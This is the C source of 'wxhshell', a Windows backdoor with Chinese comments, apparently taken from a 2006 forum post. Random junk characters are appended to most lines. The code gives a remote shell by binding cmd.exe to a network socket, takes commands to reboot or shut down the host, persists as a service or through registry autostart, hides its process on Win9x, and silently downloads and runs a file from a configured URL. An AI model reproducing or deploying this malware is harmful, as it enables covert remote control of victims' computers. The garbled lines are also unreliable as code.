  // 安装 -XECYwTh  
  case 'i': { @bkSA  
    if(Install()) k;umLyz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g3n>}\xG>  
    else E#w2'(t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2QHu8mFU  
    break; a"O9;&}; &  
    } g7%vI8Y)@  
  // 卸载 }8.$)&O$^  
  case 'r': { L-W*h  
    if(Uninstall()) ^CwS'/fdN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  Z1H  
    else =w7k@[Bq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <y-2ovw*  
    break; yj,+7[)  
    } v]drDVJ   
  // 显示 wxhshell 所在路径 "gpfD-BX  
  case 'p': { N*w{NB7L  
    char svExeFile[MAX_PATH]; Gd&G*x  
    strcpy(svExeFile,"\n\r"); 1g!%ej jd  
      strcat(svExeFile,ExeFile); 1\f8-:C  
        send(wsh,svExeFile,strlen(svExeFile),0); .:['&; k  
    break; eF 8um$t9  
    } 1 xrmmK  
  // 重启 G* mLb1  
  case 'b': { c_?!V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S r7EcT-  
    if(Boot(REBOOT)) (>D{"}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IOUzj{G#  
    else { #"-w;T%b  
    closesocket(wsh); 1eqFMf  
    ExitThread(0); ;hDIoSz  
    } $>~4RXC  
    break; mpCKF=KL.  
    } (j}Wt8  
  // 关机 i#lO{ ]  
  case 'd': { t;%MSedn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AK;G_L  
    if(Boot(SHUTDOWN)) nRZ T~S4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b|Ed@C  
    else { p t{/|P  
    closesocket(wsh); . =A|  
    ExitThread(0); ">I50#bT  
    } () HIcu*i  
    break; i V%tn{fc  
    } @n=FSn6 c  
  // 获取shell 5#? HL  
  case 's': { ~f2-%~  
    CmdShell(wsh); YsjTC$Tx,  
    closesocket(wsh); !P:~oo =  
    ExitThread(0); Vzrp9&loY  
    break; vn5]+-I  
  } ! F&{I  
  // 退出 Q5v_^O<!  
  case 'x': { bF3}L=z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NE$=R"<Gv  
    CloseIt(wsh); @6DV?VL  
    break; pzBd(d^*  
    } ^nL_*+V`f  
  // 离开 wmS:*U2sc  
  case 'q': { $VE=sS.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _1Iw"K49Qx  
    closesocket(wsh); nIP*yb}5  
    WSACleanup(); Z"<tEOs/En  
    exit(1); tO QY./I  
    break; Jo ]8?U(^  
        } _q\w9gN  
  } Q_R&+@ju  
  } :] +D+[c)  
G0h7MO%x  
  // 提示信息 bl B00   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4[]4KKO3Q2  
} b{d@:"  
  } t?kbN\,  
n|iO)L\9aB  
  return; ~); 7D'[  
} yX8$LOjE  
Zz04Pz1  
// shell模块句柄 Qjh @oWT  
int CmdShell(SOCKET sock) A[oxG;9xi  
{ *FUbKr0  
STARTUPINFO si; aV8]?E5G  
ZeroMemory(&si,sizeof(si)); AUAJMS!m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V5LzUg]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g)k::k)<e  
PROCESS_INFORMATION ProcessInfo; nz]+G2 h  
char cmdline[]="cmd"; VSt)~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fL&bN[XA"$  
  return 0; J4ltHk.|  
} jkIgEF2d*  
+lqX;*a=N  
// 自身启动模式 ;/Dp  
int StartFromService(void) :>g*!hpb  
{ 2^7VDqLc  
typedef struct "o[j'  
{ ) >SU J^u  
  DWORD ExitStatus; {)0"?$C_H  
  DWORD PebBaseAddress; E|d 8vt  
  DWORD AffinityMask; +Te;LJP  
  DWORD BasePriority; s k_Q\0a  
  ULONG UniqueProcessId; EWg\\90  
  ULONG InheritedFromUniqueProcessId; Bq]eNq  
}   PROCESS_BASIC_INFORMATION; x, ^j=n  
LY^pmak  
PROCNTQSIP NtQueryInformationProcess; h~ =UFE%'  
5}4r'P$m:  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F|XRh6j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xV4 #_1(  
dw!cDfT+  
  HANDLE             hProcess; _0<EbJ8Z  
  PROCESS_BASIC_INFORMATION pbi; FHS6Mk26  
y  ZsC>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5[Yzi> o[  
  if(NULL == hInst ) return 0; 64>o3Hb2  
/-l7GswF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $;dSM<r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =q( ;g]e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5Vzi{y/bL  
=5jX#Dc5.+  
  if (!NtQueryInformationProcess) return 0; _$?SKid|o  
(W| Eg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w#5^A(NR  
  if(!hProcess) return 0; t .&YD x  
RS~jHwIh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^U.8grA  
Y\ len  
  CloseHandle(hProcess); I7hE(2!$  
n%]1p36  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  # xS8  
if(hProcess==NULL) return 0; )q\|f_  
TC4W7} }  
HMODULE hMod; v'*#P7%Kf  
char procName[255]; g,!6, v@  
unsigned long cbNeeded; 1#9Q1@'OS  
N4Z%8:"pj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G:QaWqUb  
#AzZ4<;7  
  CloseHandle(hProcess); 2#:h.8  
| *Dklo9{  
if(strstr(procName,"services")) return 1; // 以服务启动 D0D0=s  
<8>gb!DG  
  return 0; // 注册表启动 MkG3TODfHB  
} X9#;quco@  
1O0o18'  
// 主模块 r(IQ)\GR  
int StartWxhshell(LPSTR lpCmdLine) 'dp3>4  
{ Q&;dXE h  
  SOCKET wsl; POQRq%w  
BOOL val=TRUE; wvum7K{tI  
  int port=0; c@%:aiEl  
  struct sockaddr_in door; X/fk&Cp  
y8uB>z+#+;  
  if(wscfg.ws_autoins) Install(); t/\J  
++Qg5FukR  
port=atoi(lpCmdLine); gf^"s fNk  
@54D<Lj  
if(port<=0) port=wscfg.ws_port; lz?F ,].  
4 e1=b,  
  WSADATA data; ^9 gFW $]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8o-*s+EY"&  
{1.t ZCMT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z!quA7s<]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :[oFe/1K!4  
  door.sin_family = AF_INET; s88lN=;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x8xSA*@k  
  door.sin_port = htons(port); ML!Z m[I9  
AXhV#nZt0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  g-MaP  
closesocket(wsl); hmv"|1Sa!~  
return 1; Iq`:h&'!L  
} A>8uLO G}  
w:P$ S  
  if(listen(wsl,2) == INVALID_SOCKET) { Q<.84 7 )  
closesocket(wsl); b/:&iG;  
return 1; x,a(O@  
} 2B{~"<  
  Wxhshell(wsl); tY^MP5*  
  WSACleanup(); Z> jk\[  
y-qbK0=X4  
return 0; !fXwX3B  
`VT[YhO#}  
} ?r"'JO.w  
K r9 P#Y  
// 以NT服务方式启动 Mj2o>N2,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ai&-W  
{ !%<bLD8  
DWORD   status = 0; 8jW"8~Y#0  
  DWORD   specificError = 0xfffffff; \*Ro a&<!  
l(Dkmt>^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a%a_sR\)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %y{#fZHc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =Jd ('r  
  serviceStatus.dwWin32ExitCode     = 0; 3A'vq2beM  
  serviceStatus.dwServiceSpecificExitCode = 0; FMCX->}$  
  serviceStatus.dwCheckPoint       = 0; XS5*=hv:  
  serviceStatus.dwWaitHint       = 0; G:NI+E"]  
bLyU;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m?I$XAE  
  if (hServiceStatusHandle==0) return; i#o:V/Z .  
zrWkz3FN  
status = GetLastError(); iO)FZ%?"  
  if (status!=NO_ERROR) 4viP lO  
{ 8C1 'g7A<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; RM8p[lfX  
    serviceStatus.dwCheckPoint       = 0; 'xi[- -  
    serviceStatus.dwWaitHint       = 0; !P X`sIkT  
    serviceStatus.dwWin32ExitCode     = status; d?G ~k[C!a  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ergh]"AD6-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y;ytm #=  
    return; fG2hCP+  
  } B2\R#&X.  
#flOaRl.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bkfwsYZx  
  serviceStatus.dwCheckPoint       = 0; =~M%zdIXv  
  serviceStatus.dwWaitHint       = 0; I^>m-M.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eYd6~T[9  
} i`-,=RJ  
:td#zM  
// 处理NT服务事件,比如:启动、停止 w8$rt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 56k89o  
{ VPG+]> *  
switch(fdwControl) v0762w  
{ {kGcZf3h  
case SERVICE_CONTROL_STOP: 69#D,ME?  
  serviceStatus.dwWin32ExitCode = 0; n\8;4]n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H4[];&]xr  
  serviceStatus.dwCheckPoint   = 0; +L(0R&C  
  serviceStatus.dwWaitHint     = 0; <T?H H$es)  
  { P%`|Tu!B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "iFA&$\  
  } jiS|ara"  
  return; Vsh7>|@  
case SERVICE_CONTROL_PAUSE: +DMD g.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; y5;l?v94  
  break; TX7B(JZD  
case SERVICE_CONTROL_CONTINUE: HPT{83  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \*{tAF  
  break; IR ; DdF  
case SERVICE_CONTROL_INTERROGATE: Jj=0{(X  
  break; [C)JI;\  
}; ,MkldCV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6q^Tq {I  
} ].Mr&@  
. C_\xb  
// 标准应用程序主函数 .kO!8Q-;%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %n<u- {`  
{ r83chR9  
~ KNdV  
// 获取操作系统版本 29P vPR6  
OsIsNt=GetOsVer(); $6\-8zNk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H"hL+F^  
.yp"6S^b  
  // 从命令行安装 |BrD:+  
  if(strpbrk(lpCmdLine,"iI")) Install(); oNV5su  
=Kdd+g!  
  // 下载执行文件 Z]-C,8MM  
if(wscfg.ws_downexe) { pAwmQS\W  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C1 qyjlR  
  WinExec(wscfg.ws_filenam,SW_HIDE); |~Q`D dkX  
} 5r1{l%?  
-P!_<\q\l  
if(!OsIsNt) { d0(GE4+/  
// 如果时win9x,隐藏进程并且设置为注册表启动 BPAz.K Q  
HideProc();  q0Rd^c  
StartWxhshell(lpCmdLine); OE,uw2uaT  
} rN3i5.*/t  
else sDV*k4  
  if(StartFromService()) utk'joo  
  // 以服务方式启动 F$a?} }  
  StartServiceCtrlDispatcher(DispatchTable); V,>_L  
else qta^i819  
  // 普通方式启动 /+pPcK  
  StartWxhshell(lpCmdLine); C4V#qhj  
u@!iByVAg  
return 0; U'IJwGRP  
}
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只看该作者 1 发表于: 2006-10-10
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